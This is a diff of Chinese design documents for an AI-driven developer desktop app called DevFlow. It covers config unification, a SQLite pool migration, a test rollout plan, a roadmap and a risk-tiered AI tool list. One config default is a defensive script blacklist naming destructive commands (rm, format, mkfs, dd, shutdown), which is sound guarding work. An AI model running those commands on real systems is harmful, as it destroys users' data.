| `src-tauri/src/commands/ai/tool_registry.rs:2780` `DEVFLOW_ENV_PROBE_ENABLED` | 环境探测开关 | 运行时读取 |
|
||||
| `src-tauri/src/main.rs:116-121` `APPDATA`/`HOME` | OS 路径 | 系统变量 |
|
||||
| `df-execute/src/env_snapshot.rs:216,253` `SHELL`/`LANG` | Shell 探测 | 系统变量 |
|
||||
|
||||
### 目标架构
|
||||
|
||||
**不强行统一所有读取**(OS 路径 / Shell 探测等系统变量性质不同),而是:
|
||||
|
||||
1. **df-types 新增 `AppConfig` struct**(集中定义项目级配置项)
|
||||
2. **启动时一次性读取 env + DB KV**,构造 `AppConfig` 实例
|
||||
3. **AppState 持有 `Arc<AppConfig>`**,各模块经 state 读取
|
||||
4. **文档化配置矩阵**:env / DB KV / 默认值 / panic 的关系
|
||||
|
||||
```rust
|
||||
// df-types/src/config.rs
|
||||
pub struct AppConfig {
|
||||
pub relay: RelayConfig,
|
||||
pub script_policy: ScriptPolicyConfig,
|
||||
pub ai_node: AiNodeConfig,
|
||||
pub env_probe: bool,
|
||||
}
|
||||
|
||||
pub struct RelayConfig {
|
||||
pub addr: String, // 默认 "127.0.0.1:8080"
|
||||
pub token: String, // 缺失 panic
|
||||
}
|
||||
|
||||
pub struct ScriptPolicyConfig {
|
||||
pub blacklist: Vec<String>, // 默认 ["rm","del","format","shutdown","mkfs","dd"]
|
||||
pub whitelist: Vec<String>, // 默认 []
|
||||
}
|
||||
|
||||
// src-tauri/src/state.rs
|
||||
pub struct AppState {
|
||||
pub config: Arc<AppConfig>,
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
### 迁移路径
|
||||
|
||||
**阶段 1**:df-types 定义 `AppConfig`,在 src-tauri 启动时构造。
|
||||
|
||||
**阶段 2**:逐个替换散落的 `std::env::var` 为 `state.config.xxx`。**保持 env var 作为 override**(向后兼容)。
|
||||
|
||||
**阶段 3**:前端 Settings 增加「环境变量覆盖」可视化。
|
||||
|
||||
### 风险
|
||||
|
||||
- **df-relay 独立 binary**:relay 是独立进程,不经 src-tauri AppState。**解决**:df-relay 自己构造 `RelayConfig`(共享 df-types::config 类型)。
|
||||
|
||||
---
|
||||
|
||||
## 五、#19 — SQLite 连接池
|
||||
|
||||
### 现状
|
||||
|
||||
```rust
|
||||
// crates/df-storage/src/db.rs:13-16
|
||||
pub struct Database {
|
||||
conn: Arc<Mutex<Connection>>, // 单连接,所有读写串行
|
||||
}
|
||||
```
|
||||
|
||||
注释自承 `TODO: 考虑使用 r2d2 连接池替代单连接 Mutex`。AI 对话高峰(多 tool_calls 并发 + SSE 落库)下排队。
|
||||
|
||||
### 目标架构
|
||||
|
||||
```rust
|
||||
pub struct Database {
|
||||
pool: r2d2::Pool<SqliteConnectionManager>,
|
||||
}
|
||||
|
||||
impl Database {
|
||||
pub fn conn(&self) -> Result<r2d2::PooledConnection<SqliteConnectionManager>> {
|
||||
self.pool.get().map_err(...)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 迁移路径
|
||||
|
||||
**阶段 1**:df-storage 加 `r2d2` + `r2d2_sqlite` 依赖,改 `Database` 内部为 pool。
|
||||
|
||||
**阶段 2**:所有 Repo 的 `conn.blocking_lock()` 改为 `pool.get()?`(spawn_blocking 内获取连接)。
|
||||
|
||||
**阶段 3**:WAL 模式 + 合理 pool_size(桌面应用 4-8 即可)。
|
||||
|
||||
### 风险
|
||||
|
||||
- **WAL 已开**(`db.rs:22 PRAGMA journal_mode=WAL`),读写不互斥,pool 能真正并行。
|
||||
- **事务原子性**:现有批量插入用 `unchecked_transaction()`,pool 模式下需确认 `PooledConnection` 的 transaction 行为一致。
|
||||
- **测试改造**:所有 Repo 测试的 `Database::open_in_memory()` 需改为 pool 模式。
|
||||
|
||||
---
|
||||
|
||||
## 六、本批次已落地(参考)
|
||||
|
||||
| 编号 | 改动 | 文件 |
|
||||
|------|------|------|
|
||||
| #17 | TaskStatus 字符串常量从 enum 派生(`as_str` 改 const fn) | `crates/df-types/src/types.rs` + `crates/df-nodes/src/task_state_machine.rs` |
|
||||
| #16 | df-project 真分层(加状态机 + 业务约束 + 测试) | `crates/df-project/src/manager.rs` + `src-tauri/src/commands/idea.rs` |
|
||||
| #18 部分 | 文档化配置矩阵(本设计文档) | 本文件 |
|
||||
|
||||
## 七、推进顺序建议
|
||||
|
||||
1. **#8 IPC 错误结构化** — 风险中等,收益直接(前端可差异化处理)
|
||||
2. **#15 AI 状态机抽离** — 风险高但收益最大(解锁 CLI/独立测试),建议在 Phase 4 之前
|
||||
3. **#18 配置统一** — 与 #15 协同(新 crate 也需要读配置)
|
||||
4. **#19 连接池** — 性能瓶颈出现时再改(当前单用户桌面应用未必触发)
|
||||
@@ -1,6 +1,6 @@
|
||||
# F-260621-02 查询能力维度补全方案(任务/项目/灵感)
|
||||
|
||||
> **状态**:方案设计(待办登记),待排期实施
|
||||
> **状态**:✅ **已落地**(2026-06-28 核验:task/project/idea 均 keyword/order_by/limit/offset 多维动态 WHERE)
|
||||
> **日期**:2026-06-21
|
||||
> **范围**:DevFlow 任务/项目/灵感三实体**列表查询维度**补全
|
||||
> **关联**:[PERF-260619-01 查询效率优化方案](./查询效率优化方案-2026-06-19.md)(查询**性能**,与本方案正交) / todo.md F-15-03 分页(本方案细化)
|
||||
|
||||
290
docs/02-架构设计/专项设计/测试落地实施方案-2026-07-01.md
Normal file
290
docs/02-架构设计/专项设计/测试落地实施方案-2026-07-01.md
Normal file
@@ -0,0 +1,290 @@
|
||||
# 测试落地实施方案 — 2026-07-01
|
||||
|
||||
> 关联:[后续批次测试用例设计-2026-07-01.md](后续批次测试用例设计-2026-07-01.md)
|
||||
> 用途:定义每个测试用例的具体落地方式、文件位置、执行命令
|
||||
|
||||
---
|
||||
|
||||
## 一、项目现有测试基建
|
||||
|
||||
| 层 | 现状 | 工具 |
|
||||
|----|------|------|
|
||||
| Rust 单元测试 | df-ai 370+ 测试,df-storage 集成测试,df-execute 集成测试 | `#[test]` / `#[tokio::test]` |
|
||||
| 前端测试 | **无**(package.json 无 vitest/jest) | 需引入 vitest |
|
||||
| 端到端 | 无自动化(手动验证 + 日志) | 手动 |
|
||||
|
||||
---
|
||||
|
||||
## 二、各层级落地方式
|
||||
|
||||
### 2.1 Rust 单元测试(`#[test]` / `#[tokio::test]`)
|
||||
|
||||
**适用用例**:MIG / REPO / DEC / PAR / TOK / MRG / CMP / ARB / TPL / POL
|
||||
|
||||
**文件位置**:与现有模式一致——`mod tests` 嵌入源文件底部。
|
||||
|
||||
| 用例类别 | 落地文件 | 测试数量 |
|
||||
|---------|---------|---------|
|
||||
| MIG-01~04 | `df-storage/src/migrations.rs` mod tests | 4 |
|
||||
| REPO-01~07 | `df-storage/src/crud/plan_repo.rs` mod tests | 7 |
|
||||
| DEC-01~06 | `df-ai/src/coordinator.rs` mod tests(已有 6 个,补全) | 6 |
|
||||
| PAR-01~07 | `df-ai/src/coordinator.rs` mod tests(mock executor) | 7 |
|
||||
| TOK-01~04 | `df-ai/src/coordinator.rs` mod tests | 4 |
|
||||
| MRG-01~05 | `df-ai/src/coordinator.rs` mod tests(mock merge) | 5 |
|
||||
| CMP-01~04 | `df-ai/src/coordinator.rs` mod tests(mock 编译结果) | 4 |
|
||||
| ARB-01~04 | `df-ai/src/persona.rs` mod tests | 4 |
|
||||
| TPL-01~06 | `df-workflow/src/template_loader.rs` mod tests | 6 |
|
||||
| POL-01~06 | `src-tauri/src/policy.rs` mod tests | 6 |
|
||||
|
||||
**执行命令**:
|
||||
|
||||
```bash
|
||||
# 全量
|
||||
cargo test --workspace
|
||||
|
||||
# 按 crate
|
||||
cargo test -p df-ai
|
||||
cargo test -p df-storage
|
||||
|
||||
# 按用例名
|
||||
cargo test -p df-ai coordinator::tests::decompose_read_then_write
|
||||
|
||||
# 只跑并行相关
|
||||
cargo test -p df-ai -- coordinator::tests::par_
|
||||
```
|
||||
|
||||
### 2.2 Rust 集成测试(`tests/` 目录)
|
||||
|
||||
**适用用例**:WT / SUB / NODE / LCK / CI(需要真实 Git/Shell/DB 环境)
|
||||
|
||||
| 用例类别 | 落地文件 | 说明 |
|
||||
|---------|---------|------|
|
||||
| WT-01~07 | `df-ai/tests/git_worktree.rs` | 真实 git worktree 操作(tempdir 临时仓库) |
|
||||
| LCK-01~03 | `df-ai/tests/command_lock.rs` | 真实 tokio 并发 + mutex 验证 |
|
||||
| SUB-01~03 | `df-nodes/tests/subflow_node.rs` | 真实 Executor + 嵌套模板 |
|
||||
| NODE-01~06 | `df-nodes/tests/nodes.rs` | GitNode/HTTPNode/NotifyNode 各自独立 |
|
||||
| CI-01~02 | `df-nodes/tests/docker_node.rs` | 需 Docker 环境(`#[ignore]` 标注,CI 环境跑) |
|
||||
|
||||
**WT 测试关键代码模式**(参考现有 `df-execute/tests/shell.rs`):
|
||||
|
||||
```rust
|
||||
// df-ai/tests/git_worktree.rs
|
||||
use tempfile::TempDir;
|
||||
use std::process::Command;
|
||||
|
||||
fn setup_git_repo() -> TempDir {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
Command::new("git").arg("init").current_dir(dir.path()).output().unwrap();
|
||||
Command::new("git").args(["config", "user.email", "test@test.com"])
|
||||
.current_dir(dir.path()).output().unwrap();
|
||||
Command::new("git").args(["config", "user.name", "test"])
|
||||
.current_dir(dir.path()).output().unwrap();
|
||||
// 写初始文件 + commit
|
||||
std::fs::write(dir.path().join("main.rs"), "fn main() {}").unwrap();
|
||||
Command::new("git").args(["add", "."]).current_dir(dir.path()).output().unwrap();
|
||||
Command::new("git").args(["commit", "-m", "init"]).current_dir(dir.path()).output().unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn wt_01_worktree_create_and_isolate() {
|
||||
let repo = setup_git_repo();
|
||||
let plan_id = "test-plan-001";
|
||||
// 创建 worktree
|
||||
let wt_path = repo.path().join(".devflow/wt").join(plan_id).join("A");
|
||||
let output = Command::new("git")
|
||||
.args(["worktree", "add", wt_path.to_str().unwrap(), "-b", "subtask/test-plan-001/A"])
|
||||
.current_dir(repo.path())
|
||||
.output().unwrap();
|
||||
assert!(output.status.success(), "worktree 创建失败");
|
||||
assert!(wt_path.exists(), "worktree 目录应存在");
|
||||
// 写文件到 worktree
|
||||
std::fs::write(wt_path.join("new.rs"), "// A 的改动").unwrap();
|
||||
// 主目录不应有 new.rs
|
||||
assert!(!repo.path().join("new.rs").exists(), "主目录不应有 A 的改动");
|
||||
// 清理
|
||||
Command::new("git").args(["worktree", "remove", wt_path.to_str().unwrap(), "--force"])
|
||||
.current_dir(repo.path()).output().unwrap();
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 前端测试(引入 vitest)
|
||||
|
||||
**现状**:项目无前端测试基建。需要引入 vitest。
|
||||
|
||||
**引入步骤**(纳入数据层批次实施):
|
||||
|
||||
```bash
|
||||
bun add -d vitest @vue/test-utils jsdom
|
||||
```
|
||||
|
||||
`vitest.config.ts`:
|
||||
```typescript
|
||||
import { defineConfig } from 'vitest/config'
|
||||
import vue from '@vitejs/plugin-vue'
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [vue()],
|
||||
test: {
|
||||
environment: 'jsdom',
|
||||
globals: true,
|
||||
},
|
||||
})
|
||||
```
|
||||
|
||||
`package.json` 加 `"test": "vitest"` 脚本。
|
||||
|
||||
**适用用例**:EVT / OUT / REF(前端)
|
||||
|
||||
| 用例类别 | 落地文件 | 说明 |
|
||||
|---------|---------|------|
|
||||
| EVT-01~06 | `src/components/ai/__tests__/PlanProgress.test.ts` | 组件事件驱动渲染 |
|
||||
| OUT-01~04 | `src/components/ai/__tests__/MessageList.test.ts` | 合并产出展示/折叠 |
|
||||
| REF-03~05 | `src/components/ai/__tests__/MessageList.test.ts` | 拆分后行为不变 |
|
||||
|
||||
**执行命令**:
|
||||
|
||||
```bash
|
||||
bun run test # watch 模式
|
||||
bun run test -- --run # 单次跑
|
||||
bun run test -- PlanProgress # 按文件名过滤
|
||||
```
|
||||
|
||||
### 2.4 端到端手动验证(测试脚本 + 日志)
|
||||
|
||||
**适用用例**:E2E / EDGE
|
||||
|
||||
**落地方式**:测试用 DB + 日志分析脚本,非自动化框架。
|
||||
|
||||
**手动验证检查清单格式**(每个批次完成时填写):
|
||||
|
||||
```markdown
|
||||
## E2E-01 简单并行任务
|
||||
- [ ] 发送消息:"先读取 main.rs 再修改 utils.rs"
|
||||
- [ ] PlanProgress 展示 2 层 DAG
|
||||
- [ ] Layer 0 (read) 完成 → Layer 1 (write) 启动
|
||||
- [ ] 最终输出包含合并结果
|
||||
- [ ] ai_subtasks 表有 2 条记录,status=done
|
||||
- [ ] ai_messages 表有 subtask_id 非空的记录
|
||||
- [ ] worktree 目录已清理(.devflow/wt/ 下无残留)
|
||||
```
|
||||
|
||||
**验证用 SQL 查询**(批次完成后在 dev 数据库执行):
|
||||
|
||||
```sql
|
||||
-- 检查 Plan 记录
|
||||
SELECT id, status, subtask_count, created_at FROM ai_plans ORDER BY created_at DESC LIMIT 5;
|
||||
|
||||
-- 检查 SubTask 状态
|
||||
SELECT s.id, s.persona_id, s.status, s.layer, s.branch
|
||||
FROM ai_subtasks s
|
||||
JOIN ai_plans p ON s.plan_id = p.id
|
||||
WHERE p.id = ? -- 替换为实际 plan_id
|
||||
ORDER BY s.layer, s.created_at;
|
||||
|
||||
-- 检查冲突记录
|
||||
SELECT c.file_path, c.conflict_type, c.resolution, c.resolved_by
|
||||
FROM ai_conflicts c WHERE c.plan_id = ?;
|
||||
|
||||
-- 检查消息归属
|
||||
SELECT m.id, m.role, m.subtask_id, substr(m.content, 1, 60) as preview
|
||||
FROM ai_messages m WHERE m.conversation_id = ? AND m.subtask_id IS NOT NULL
|
||||
ORDER BY m.seq DESC LIMIT 20;
|
||||
```
|
||||
|
||||
**worktree 残留检查**:
|
||||
|
||||
```bash
|
||||
# Plan 完成后应无残留
|
||||
ls -la .devflow/wt/ # 应为空或不存在
|
||||
|
||||
# 异常残留时的清理
|
||||
git worktree list
|
||||
git worktree prune
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、落地优先级
|
||||
|
||||
| 优先级 | 范围 | 时机 |
|
||||
|--------|------|------|
|
||||
| **P0 随编码落地** | Rust 单元测试(DEC/PAR/TOK/MRG/ARB) | 每个批次编码时同步写 |
|
||||
| **P0 随编码落地** | Rust 集成测试(WT) | worktree 模块编码时同步写 |
|
||||
| **P1 批次末尾** | 前端测试基建引入 + EVT/OUT | 数据层批次末尾引入 vitest |
|
||||
| **P2 批次完成后** | E2E 手动验证 | 每个批次完成后用检查清单验证 |
|
||||
| **P3 按需** | CI 集成测试(Docker/PR) | Git/CI 批次完成后 |
|
||||
|
||||
---
|
||||
|
||||
## 四、CI 自动化(远期)
|
||||
|
||||
当 vitest + cargo test 覆盖率足够后,接入 CI:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/test.yml(或 Gitea Actions)
|
||||
jobs:
|
||||
rust-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: cargo test --workspace
|
||||
|
||||
frontend-test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: oven-sh/setup-bun@v1
|
||||
- run: bun install
|
||||
- run: bun run test -- --run
|
||||
```
|
||||
|
||||
当前阶段以**本地 `cargo test` + 手动 E2E** 为主,CI 自动化等测试覆盖率达标后接入。
|
||||
|
||||
---
|
||||
|
||||
## 五、Mock 策略
|
||||
|
||||
### 5.1 Rust 侧
|
||||
|
||||
| 依赖 | Mock 方式 |
|
||||
|------|----------|
|
||||
| LLM 调用 | 闭包注入(`Coordinator.dispatch<F>` 已支持泛型 executor) |
|
||||
| Git 操作 | 集成测试用真实 git(tempdir 临时仓库) |
|
||||
| 数据库 | 内存 SQLite(`Database::open_in_memory()`) |
|
||||
| 编译检查 | mock 返回 exit_code(单元测试)/ 真实 cargo(集成测试) |
|
||||
|
||||
### 5.2 前端侧
|
||||
|
||||
| 依赖 | Mock 方式 |
|
||||
|------|----------|
|
||||
| Tauri IPC | `@vue/test-utils` mock `invoke` |
|
||||
| 事件监听 | 手动 emit 测试事件 |
|
||||
| i18n | 插件 mock(返回 key 本身) |
|
||||
| Store | 真实 Pinia store(测试 store 逻辑本身) |
|
||||
|
||||
---
|
||||
|
||||
## 六、每个批次的测试验证流程
|
||||
|
||||
```
|
||||
编码完成
|
||||
↓
|
||||
cargo test -p df-ai(对应模块单元测试全绿)
|
||||
↓
|
||||
cargo test -p df-storage(迁移+Repo 测试全绿)
|
||||
↓
|
||||
cargo test -p df-ai --test git_worktree(worktree 集成测试全绿)
|
||||
↓
|
||||
cargo check --workspace(编译无警告)
|
||||
↓
|
||||
npx vue-tsc --noEmit(前端类型检查)
|
||||
↓
|
||||
npx vite build(前端构建)
|
||||
↓
|
||||
手动 E2E 检查清单(对照测试用例文档逐项验证)
|
||||
↓
|
||||
SQL 查询验证(DB 数据正确性)
|
||||
↓
|
||||
提交(代码+测试同一提交)
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
# 消息拆分存储设计
|
||||
|
||||
> 创建:2026-06-19 | 编号:F-260619-03(消息拆分) | 状态:📐 设计待实施
|
||||
> 创建:2026-06-19 | 编号:F-260619-03(消息拆分) | 状态:✅ **已落地**(2026-06-28 核验:ai_messages 表 + V21 全量迁移 + 读写全部切到消息表,旧 JSON 列仅作老库兼容回退)
|
||||
> 关联任务:`消息拆分存储:ai_messages 表 + 全量迁移 + 三阶段渐进切换`(DevFlow 项目)
|
||||
> 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络
|
||||
> 关联设计:[消息级溯源设计-2026-06-19.md](./消息级溯源设计-2026-06-19.md)(本设计的前置依赖 + 消费方)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 消息级溯源设计
|
||||
|
||||
> 创建:2026-06-19 | 编号:F-260619-04(消息级溯源) | 状态:📐 设计待实施
|
||||
> 创建:2026-06-19 | 编号:F-260619-04(消息级溯源) | 状态:✅ **已落地**(2026-06-28 核验:ChatMessage.id + source_ref/audit/idea 四场景全部完成 + P2 切读全部完成)
|
||||
> 关联任务:`消息级溯源:知识库/审计/灵感全链路从对话级升级到消息级`(DevFlow 项目)
|
||||
> 关联灵感:b2e61a21 消息拆分存储 + 消息级溯源 + 知识脉络网络
|
||||
> 关联设计:[消息拆分存储设计-2026-06-19.md](./消息拆分存储设计-2026-06-19.md)(本设计的持久化基础)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 规格契约自检机制
|
||||
|
||||
> 创建:2026-06-13 | 阶段:设计定稿,待落地
|
||||
> 创建:2026-06-13 | 阶段:🗄️ 归档不实施(2026-06-28 核验:0 行代码。其核心价值「规格与实现一致性检查」已被 L1 求助协议 + ai_self_review gate 覆盖,过度设计)
|
||||
> 性质:设计说明 + 可执行规格基准。后续 `spec-verifier` agent、`/spec-check` skill、自检 hook 均从本文档推导。
|
||||
|
||||
---
|
||||
|
||||
132
docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
Normal file
132
docs/02-架构设计/构想审查/AI-Native方向与路线图-2026-06-29.md
Normal file
@@ -0,0 +1,132 @@
|
||||
# AI Native 方向与路线图 — 2026-06-29
|
||||
|
||||
> 性质:方向定义 / 优先级矩阵 / 推进路线图
|
||||
> 关联: [Agent架构说明-2026-06-14.md](../专项设计/Agent架构说明-2026-06-14.md)(当前 Agent 能力边界)
|
||||
> 关联: [三层模型-流程模板与人设体系-2026-06-28.md](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(模板/工作流/人设三层抽象)
|
||||
> 关联: [架构债迁移设计-2026-06-29.md](../专项设计/架构债迁移设计-2026-06-29.md)(#8/#15/#18/#19 迁移路径)
|
||||
> 关联: [产品定位调整-2026-06-12.md](./产品定位调整-2026-06-12.md)(「想法到创作」产品定位)
|
||||
> 用途:作为后续所有功能/架构决策的优先级参考
|
||||
|
||||
---
|
||||
|
||||
## 一、AI Native 与传统范式的区别
|
||||
|
||||
DevFlow 的定位是 **AI 原生**——AI 不是辅助工具,而是系统的主要操作者。人的角色从「操作者」转变为「决策者 + 政策制定者」。
|
||||
|
||||
```
|
||||
传统 DevOps 流程:
|
||||
需求 → 设计 → 编码 → PR → 审查 → CI → 部署
|
||||
↑ ↑ ↑ ↑ ↑ ↑ ↑
|
||||
人 人 AI 人 人 自动 人
|
||||
辅助写 创建PR 审查
|
||||
|
||||
AI Native 流程:
|
||||
想法 → AI 分析 → AI 设计 → AI 编码并行 → AI 自审 → AI 测试 → AI 发布 ← 人类审批
|
||||
↑ ↑ ↑ ↑ ↑ ↑ ↑
|
||||
人类 AI驱动 AI驱动 多Agent分工 AI审计 AI验证 自动编排
|
||||
输入
|
||||
```
|
||||
|
||||
**关键变化**:
|
||||
|
||||
| 维度 | 传统 | AI Native |
|
||||
|------|------|-----------|
|
||||
| 人类角色 | 执行者(写代码、建 PR、跑测试) | 决策者(立项、审批、定策略) |
|
||||
| AI 角色 | 辅助(补全、建议、生成片段) | 执行者(分析、设计、编码、测试、发布) |
|
||||
| 流程驱动 | 人类手工推进(点按钮、改状态) | AI 自动推进(工作流 + 事件驱动) |
|
||||
| 质量保障 | 人工审查 + CI 门禁 | AI 自审 + 人工审批 + 质量门禁 |
|
||||
| 产出物 | 代码 PR | 可发布的全流程资产(代码 + 测试 + 文档 + 变更日志) |
|
||||
|
||||
---
|
||||
|
||||
## 二、优先级矩阵
|
||||
|
||||
按「奠定 AI Native 基础」的依赖关系排序。P0 是 P1 的前提,P1 是 P2 的前提。
|
||||
|
||||
```
|
||||
P0 ─── 人设系统 ─── 多 Agent 协作
|
||||
(角色划分) (分工执行)
|
||||
│
|
||||
P1 ─── 模板系统 ─── Git/CI 集成
|
||||
(流程预设) (现实接轨)
|
||||
│
|
||||
P2 ─── 审批政策 ─── 算法验证
|
||||
(规则配置) (特定场景)
|
||||
```
|
||||
|
||||
### P0:智能体人设 + 多 Agent 协作
|
||||
|
||||
这两项构成 AI Native 的基础——没有角色划分就谈不上分工,没有分工就谈不上协作。
|
||||
|
||||
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||
|------|------|---------|---------|
|
||||
| **人设系统** | AgentPersona 结构体 + PersonaRegistry + 内置 5 人设(coder/reviewer/architect/tester/analyst) | `crates/df-ai/src/persona.rs`(新建) | `df-ai` crate 已有 |
|
||||
| **人设注入** | AINode 执行时从 NodeContext 读 persona_id,拼接 system_prompt + 过滤工具集 | `crates/df-nodes/src/ai_node.rs` + `crates/df-workflow/src/node.rs` | 人设系统就绪 |
|
||||
| **Coordinator 填实** | 拆解任务 → 分配人设 → 并行 Agent → 汇总合并 | `crates/df-ai/src/coordinator.rs` | 人设系统 + SubflowNode |
|
||||
| **Planner 接入 Loop** | `intent/plan_hint/planner` 三个纯函数模块接入主 loop | `src-tauri/src/commands/ai/agentic/mod.rs` | Coordinator 就绪 |
|
||||
|
||||
**验证标准**:单次 AI Chat 能调用多个子 Agent 并行工作(如同时生成三个模块的代码),最后合并为一个完整的 PR。
|
||||
|
||||
### P1:模板系统 + Git/CI 集成
|
||||
|
||||
AI 产出的成果需要能推送到现实协作流程(Git PR、CI Pipeline)。
|
||||
|
||||
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||
|------|------|---------|---------|
|
||||
| **模板加载器** | YAML 模板 → DagDef 实例化 | `crates/df-workflow` 新增 | SubflowNode |
|
||||
| **SubflowNode** | 嵌套子工作流节点 | `crates/df-nodes/src/subflow_node.rs` | 模板系统 |
|
||||
| **GitNode** | 分支创建/PR/合并操作 | `crates/df-nodes/src/git_node.rs` | libgit2 就绪 |
|
||||
| **DockerNode** | 容器内构建/测试 | `crates/df-nodes/src/docker_node.rs` | workpod API |
|
||||
| **Config 统一** | AppConfig struct + env override | `df-types/src/config.rs` + AppState | 本迭代推进 |
|
||||
|
||||
**验证标准**:从 YAML 模板加载工作流 → 创建 Git 分支 → 生成代码 → 提交 PR → 跑 CI。
|
||||
|
||||
### P2:审批政策 + 算法验证
|
||||
|
||||
当 AI 成为主要执行者后,「什么时候需要人批」「算法怎么验证」需要系统化的可配置机制。
|
||||
|
||||
| 方向 | 内容 | 代码落点 | 前置依赖 |
|
||||
|------|------|---------|---------|
|
||||
| **审批政策配置** | 按人设/节点/风险级别定制审批策略 | `HumanNode` + 配置层 | 人设系统就绪 |
|
||||
| **算法验证循环** | 基准测试 → 对比 → 迭代优化 → 早停 | 新建 `df-algo` crate | 模板系统 + 人设 |
|
||||
|
||||
---
|
||||
|
||||
## 三、对既有工作的对齐
|
||||
|
||||
| 已有资产 | 与本路线图的关系 |
|
||||
|---------|----------------|
|
||||
| `intent.rs` / `planner.rs` / `plan_hint.rs` | P0 的预制件——三个纯函数模块算法已完备,只差接入主 loop |
|
||||
| `coordinator.rs` | P0 的关键缺项——当前空壳,需要填实为真正的 Agent 调度器 |
|
||||
| 三层模型设计文档 | P1 的架构设计——模板/工作流/人设三层抽象已设计完成,待编码 |
|
||||
| 走查报告 | 安全/架构债在 P0-P2 推进中同步修复 |
|
||||
| 架构债迁移设计 | #15 AI 状态机抽离在 P0+P1 完成后自然推进 |
|
||||
|
||||
---
|
||||
|
||||
## 四、不做的方向
|
||||
|
||||
以下方向经过评估后,**当前阶段不投入**:
|
||||
|
||||
| 方向 | 放弃理由 | 可能的时机 |
|
||||
|------|---------|-----------|
|
||||
| 全自动无人值守 | 当前审批机制(HumanNode)是有意的设计取舍,AI 最终决策需人类把关 | 长效目标,非当前阶段 |
|
||||
| 第三方系统集成(云效/禅道) | 核心 Agent 能力未就绪前,集成的价值有限 | P2 完成后评估 |
|
||||
| MCP 外部工具接入 | 工具集封闭是安全取舍,开放后将引入新的攻击面 | Phase 5 或之后 |
|
||||
| Web/移动端 | AI 执行逻辑焊死在桌面端(#15)解决之前,跨端无意义 | #15 完成后 |
|
||||
|
||||
---
|
||||
|
||||
## 五、下一步行动
|
||||
|
||||
**当前建议方向**(按此顺序落地):
|
||||
|
||||
```
|
||||
本周 → 人设系统(Persona 数据结构 + 5 内置人设 + 注册表)
|
||||
↓
|
||||
下周 → Coordinator 填实 + Planner 接入(多 Agent 骨架)
|
||||
↓
|
||||
下月 → 节点补齐(Subflow/Docker/Git)+ 模板加载器 + YAML 模板
|
||||
```
|
||||
|
||||
每步完成即可独立验证,不必等全部做齐再交付。
|
||||
@@ -108,27 +108,19 @@ commands/ai/
|
||||
|
||||
---
|
||||
|
||||
## 四、12 个 AI 工具
|
||||
## 四、AI 工具清单
|
||||
|
||||
### 工具清单
|
||||
### 工具注册
|
||||
|
||||
工具定义在 `tool_registry.rs::build_ai_tool_registry`,编译期硬编码(无运行时动态注册)。
|
||||
工具定义在 `tool_registry.rs::build_ai_tool_registry`,**编译期硬编码**(无运行时动态注册)。工具统计截至 2026-06-29(后续增删见该函数 `registry.register` 调用点)。
|
||||
|
||||
| 风险 | 工具 | 说明 |
|
||||
|------|------|------|
|
||||
| **Low**(自动执行) | `list_projects` | 列出项目(排软删,截断 50 条) |
|
||||
| **Low** | `list_tasks` | 列出任务(可按 project_id 筛选) |
|
||||
| **Low** | `list_ideas` | 列出灵感 |
|
||||
| **Low** | `read_file` | 读文件(offset/limit 分页,1MB 上限) |
|
||||
| **Low** | `list_directory` | 列目录(噪音剪枝 + 1000 条上限) |
|
||||
| **Medium**(需审批) | `create_project` | 创建项目(可选 path/stack 一步绑定) |
|
||||
| **Medium** | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
||||
| **Medium** | `create_task` | 创建任务 |
|
||||
| **Medium** | `create_idea` | 创建灵感 |
|
||||
| **Medium** | `write_file` | 写文件(自动建父目录,1MB 上限) |
|
||||
| **Medium** | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
||||
| **High**(需审批) | `delete_project` | 删项目(软删进回收站) |
|
||||
| **High** | `run_workflow` | 运行工作流(当前返回提示,未实装) |
|
||||
### 按风险等级分组
|
||||
|
||||
**Low(自动执行)** — 只读查询类,不触发审批。包含:`list_projects`/`get_project_count`、`list_tasks`/`get_task_count`、`list_task_links`/`get_task_tree`、`list_ideas`、`list_trash`、`read_file`、`read_symbol`(AST符号解析)、`list_directory`、`file_info`、`grep`(跨文件内容搜索)、`search_files`、`list_project_services`、`list_project_modules`、`get_project_timeline`、`git_status`/`git_diff`/`git_log`(只读)。
|
||||
|
||||
**Medium(需审批)** — 写入类,需人工批准。包含:`create_project`/`update_project`/`bind_directory`、`create_task`/`update_task`/`delete_task`、`advance_task`/`move_task_queue`/`update_content`、`create_task_link`/`remove_task_link`、`create_idea`、`add_project_service`、`write_file`/`patch_file`/`append_file`、`git_commit`/`git_branch`、`http_request`(SSRF防护含DNS rebinding检查)。
|
||||
|
||||
**High(需审批 + 默认谨慎)** — 高风险,默认自动执行模式会全部拒绝。包含:`delete_project`/`restore_project`/`purge_project`、`delete_file`/`rename_file`、`run_command`(默认超时 60s)、`run_workflow`(联动任务推进)、`git_merge`(冲突返回冲突文件列表)。
|
||||
|
||||
### 工具三要素同源
|
||||
|
||||
@@ -145,9 +137,9 @@ commands/ai/
|
||||
|
||||
### 已知限制
|
||||
|
||||
- **截断 50 条无翻页**:三个 list 工具 `truncate(50)` 硬截断,无 offset/limit,AI 不知道有数据被漏掉(待改进)
|
||||
- **"能写不能跑"**:AI 有 `write_file` 但无 `run_command`,无法形成"写→跑→改"闭环(待改进)
|
||||
- **工具集封闭**:编译期硬编码,无 MCP 客户端,AI 运行时不能新增/修改工具
|
||||
- **AI 不能造工具**:AI 能 `write_file` 写脚本但不会变成可调用工具(要重编译)
|
